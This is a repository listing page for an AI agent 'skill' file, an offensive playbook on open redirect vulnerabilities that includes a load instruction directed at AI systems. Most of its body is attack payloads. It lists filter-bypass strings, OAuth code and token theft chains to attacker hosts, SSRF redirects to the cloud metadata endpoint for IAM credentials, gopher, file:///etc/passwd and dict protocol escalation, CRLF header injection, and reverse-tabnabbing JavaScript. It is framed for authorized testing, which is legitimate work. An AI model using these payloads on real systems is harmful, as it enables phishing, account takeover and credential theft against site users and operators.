Open Redirect

作者 yaklang6fbf0bc8d5c7无许可证2.4K 个星标收录于 2026年10月8日更新于 2026年10月8日仓库3周前更新

Open redirect playbook. Use when URL parameters, form actions, or JavaScript sinks control navigation targets and may redirect users to attacker-controlled destinations.

仅含说明Security
AI 生成的概览

一份用于发现和利用开放重定向漏洞,并将其串联为钓鱼、OAuth 令牌窃取和 SSRF 的进攻性安全手册。

功能
该技能提供了一套测试开放重定向漏洞的结构化手册。它列出了常见的重定向参数名、服务端与 JavaScript 重定向汇聚点、过滤器绕过载荷、URL 解析器混淆情形以及测试清单。它还记录了多种利用链,例如钓鱼放大、OAuth 授权码与令牌窃取、CSRF Referer 绕过、通过服务端跟随重定向实现 SSRF,以及反向标签劫持。
适用场景
在获得授权的 Web 应用安全测试中,当 URL 参数、表单 action 或 JavaScript 汇聚点似乎控制跳转目标时使用。它也适用于评估 OAuth 的 redirect_uri 处理、服务端 URL 抓取功能,或以 target="_blank" 打开的链接。
运行要求
不附带脚本或工具,仅为说明文档。实际使用需要获得授权的目标、用于测试重定向行为的浏览器或 HTTP 客户端,以及对目标应用的网络访问。

SKILL: Open Redirect — Expert Attack Playbook

AI LOAD INSTRUCTION: Open redirect techniques. Covers parameter-based redirects, JavaScript sinks, filter bypass, and chaining with phishing, CSRF Referer bypass, OAuth token theft, and SSRF. Often underrated but critical for phishing and as a building block in multi-step exploit chains.

1. CORE CONCEPT

Open redirect occurs when an application redirects users to a URL derived from user input without validation. The trusted domain acts as a "launchpad" for phishing or token theft.

https://trusted.com/redirect?url=https://evil.com→ User sees trusted.com in the link → clicks → lands on evil.com

2. FINDING REDIRECT PARAMETERS

Common Parameter Names

text
?url=           ?redirect=      ?next=          ?dest=?destination=   ?redir=         ?return=        ?returnUrl=?go=            ?forward=       ?target=        ?out=?continue=      ?link=          ?view=          ?to=?ref=           ?callback=      ?path=          ?rurl=

Server-Side Sinks

HTTP 301/302 Location headerPHP: header("Location: $input")Python: redirect(input)Java: response.sendRedirect(input)Node: res.redirect(input)

Client-Side (JavaScript) Sinks

javascript
window.location = inputwindow.location.href = inputwindow.location.replace(input)window.open(input)document.location = input

3. FILTER BYPASS TECHNIQUES

ValidationBypass
Checks if URL starts with ///evil.com (protocol-relative)
Checks domain contains trusted.comevil.com?trusted.com or trusted.com.evil.com
Blocks http:////evil.com, https://evil.com, \/\/evil.com
Checks URL starts with https://trusted.comhttps://[email protected] (userinfo)
Regex ^/[^/] (relative only)/\evil.com (backslash treated as path in some browsers)
Django endswith('target.com')http://evil.com/www.target.com — URL path ends with target domain
Whitelist by domain suffixSubdomain takeover on *.trusted.com
text
# Protocol-relative://evil.com
# Userinfo bypass:https://[email protected]
# Backslash trick:/\evil.com/\/evil.com
# URL encoding:https://trusted.com/%2F%2Fevil.com
# Django endswith bypass:http://evil.com/www.target.comhttp://evil.com?target.com
# Trusted site double-redirect (e.g., via Baidu link service):https://link.target.com/?url=http://evil.com
# Special character confusion:http://evil.com#@trusted.com        # fragment as authorityhttp://evil.com?trusted.com         # query string confusionhttp://trusted.com%[email protected]      # null byte truncation
# Tab/newline in URL (browser ignores whitespace):java%09script:alert(1)

4. EXPLOITATION CHAINS

Phishing Amplification

Attacker sends: https://bigbank.com/redirect?url=https://bigbank-login.evil.com Victim sees bigbank.com → clicks → enters credentials on clone site.

OAuth Token Theft

If OAuth redirect_uri allows open redirect on the authorized domain:

/authorize?redirect_uri=https://trusted.com/redirect?url=https://evil.com→ Authorization code or token appended to evil.com URL→ Attacker captures token from URL fragment or query

CSRF Referer Bypass

Some CSRF protections check Referer header contains trusted domain:

1. Attacker page links to: https://trusted.com/redirect?url=https://trusted.com/change-email2. Redirect preserves Referer from trusted.com3. CSRF protection passes because Referer = trusted.com

SSRF via Redirect

When server follows redirects:

?url=https://attacker.com/redirect-to-internal# attacker.com returns 302 → http://169.254.169.254/# Server follows redirect → SSRF to metadata endpoint

5. TESTING CHECKLIST

□ Identify all URL parameters that trigger redirects□ Test external domain: ?url=https://evil.com□ Test protocol-relative: ?url=//evil.com□ Test userinfo bypass: ?url=https://[email protected]□ Test backslash: ?url=/\evil.com□ Test JavaScript sink: ?url=javascript:alert(1) (DOM-based)□ Check OAuth flows for redirect_uri open redirect□ Verify if redirect preserves auth tokens in URL

6. TABNABBING (REVERSE TABNABBING)

Concept

When a link opens a new tab with target="_blank" WITHOUT rel="noopener":

  • The new page can access window.opener
  • It can redirect the ORIGINAL page: window.opener.location = "https://phishing.com/login"
  • User returns to "original" tab → sees fake login page → enters credentials

Detection

html
<!-- Vulnerable: --><a href="https://external.com" target="_blank">Click here</a>
<!-- Safe: --><a href="https://external.com" target="_blank" rel="noopener noreferrer">Click here</a>

Exploitation

javascript
// On the attacker-controlled page (opened via target="_blank"):if (window.opener) {    window.opener.location = "https://phishing.com/fake-login.html";}

Where to Look

  • User-generated content with links (forums, comments, profiles)
  • target="_blank" links to external domains
  • PDF viewers, document previews opening in new tabs

7. OPEN REDIRECT → OAUTH TOKEN THEFT (DETAILED CHAINS)

7.1 OAuth Implicit Flow

In the implicit flow, the access token is returned in the URL fragment (#access_token=...). If redirect_uri allows an open redirect on the authorized domain:

text
/authorize?response_type=token  &client_id=CLIENT  &redirect_uri=https://target.com/callback/../redirect?url=https://evil.com  &scope=read
Flow:1. User authenticates → authorization server redirects to:   https://target.com/redirect?url=https://evil.com#access_token=SECRET2. Open redirect fires → browser navigates to:   https://evil.com#access_token=SECRET3. Attacker page reads location.hash → captures access token

7.2 Authorization Code Flow

The authorization code is sent as a query parameter. If the redirect chain preserves query parameters:

text
/authorize?response_type=code  &client_id=CLIENT  &redirect_uri=https://target.com/callback%2f..%2fredirect%3furl%3dhttps://evil.com
Flow:1. Authorization server validates redirect_uri prefix → matches https://target.com/2. Redirects to: https://target.com/redirect?url=https://evil.com&code=AUTH_CODE3. Open redirect sends victim to: https://evil.com?code=AUTH_CODE4. Attacker exchanges code for access token

7.3 OIDC id_token Fragment Leak

text
/authorize?response_type=id_token  &client_id=CLIENT  &redirect_uri=https://target.com/cb  &nonce=NONCE
If redirect_uri points to open redirect endpoint:→ id_token in fragment sent to attacker→ Attacker has signed identity assertion→ Can authenticate as victim on any RP accepting this IdP

7.4 redirect_uri validation bypass patterns

text
redirect_uri=https://target.com/callback/../open-redirect?url=evil.comredirect_uri=https://target.com/callback?next=https://evil.comredirect_uri=https://target.com/callback%[email protected]redirect_uri=https://target.com/callback/../../redirectredirect_uri=https://target.com/callback#@evil.com

8. OPEN REDIRECT → SSRF CHAIN

Server-side redirect following

When a server-side component follows HTTP redirects (e.g., URL preview, link unfurler, webhook, image fetcher):

text
1. Submit URL to server-side fetcher: http://attacker.com/redirect2. attacker.com responds: 302 Location: http://169.254.169.254/latest/meta-data/3. Server follows redirect → SSRF to cloud metadata endpoint4. Response (IAM credentials) returned to attacker or visible in preview

Multi-hop redirect for filter bypass

text
1. Server blocks direct requests to 169.254.169.2542. Submit: http://attacker.com/r13. r1 → 302 → http://attacker.com/r2  (same domain, passes filter)4. r2 → 302 → http://169.254.169.254/ (internal, filter not re-checked)

DNS rebinding variant

text
1. attacker.com resolves to attacker's public IP (TTL=0)2. Server resolves attacker.com → public IP → passes SSRF filter3. Connection established, but HTTP redirect points to attacker.com again4. Second DNS resolution: attacker.com now resolves to 169.254.169.2545. Server follows redirect to internal address

Scope escalation via redirect protocols

text
http://attacker.com/redirect → gopher://127.0.0.1:6379/...  (Redis SSRF)http://attacker.com/redirect → file:///etc/passwd            (local file read)http://attacker.com/redirect → dict://127.0.0.1:11211/       (Memcached)

Not all HTTP clients follow cross-protocol redirects, but curl (default) and some libraries do.


9. URL PARSER CONFUSION FOR REDIRECT BYPASS

When a redirect validation function parses the URL differently from the browser or server that ultimately processes it:

Protocol-relative URL

text
//attacker.com→ Browser: https://attacker.com (inherits current page protocol)→ Some validators: relative path "/attacker.com" (wrong)

Backslash confusion

text
\/\/attacker.com/\/attacker.com→ Many browsers normalize \ to / in URLs→ Validators treating \ as path character may allow it

Userinfo section abuse

text
//attacker.com\@target.com→ Browser: navigates to attacker.com (@ is userinfo delimiter)→ Validator sees "target.com" in the string → passes allowlist check
//[email protected]→ Browser: userinfo=target.com, host=attacker.com→ Validator checks "starts with target.com" → passes
https://target.com%[email protected]→ URL-decoded: target.com/ as userinfo, host=attacker.com

Double encoding

text
//attacker%252ecom→ First decode: //attacker%2ecom (passes validator)→ Second decode (by server/browser): //attacker.com (actual redirect)

CRLF injection + redirect

text
/%0d%0aLocation:%20https://attacker.com→ If server reflects the path in a header context:   HTTP/1.1 302 Found   Location: /   Location: https://attacker.com  ← injected header wins

Fragment confusion

text
https://target.com#@attacker.com→ Browser: host=target.com, [email protected]→ But some JS-based redirects: window.location = url → may process differently
https://attacker.com#.target.com→ Validator: sees "target.com" in string → passes→ Browser: navigates to attacker.com (fragment ignored in navigation)

Special characters

text
https://attacker.com%E3%80%82target.com→ Unicode ideographic full stop (U+3002) — some parsers treat as dot→ Browser may normalize differently than validator
https://attacker。com    (U+3002 fullwidth period)https://attacker.com    (U+FF0E fullwidth full stop)

Combined URL parser differential table

PayloadValidator SeesBrowser Navigates To
//evil.comRelative pathhttps://evil.com
\/\/evil.comPath \/\/evil.comhttps://evil.com
//evil.com\@target.comContains target.comhttps://evil.com
//[email protected]Starts with target.comhttps://evil.com
/%0d%0aLocation: https://evil.comPath stringHeader injection → redirect
//evil%252ecomevil%2ecom (not a domain)evil.com (after double decode)

来源与署名

来源:yaklang/hack-skills位于skills/open-redirect提交6fbf0bc

许可证: 无许可证

内容归原作者所有。SourceWeft 从公开仓库中收录这些内容。

举报或申请下架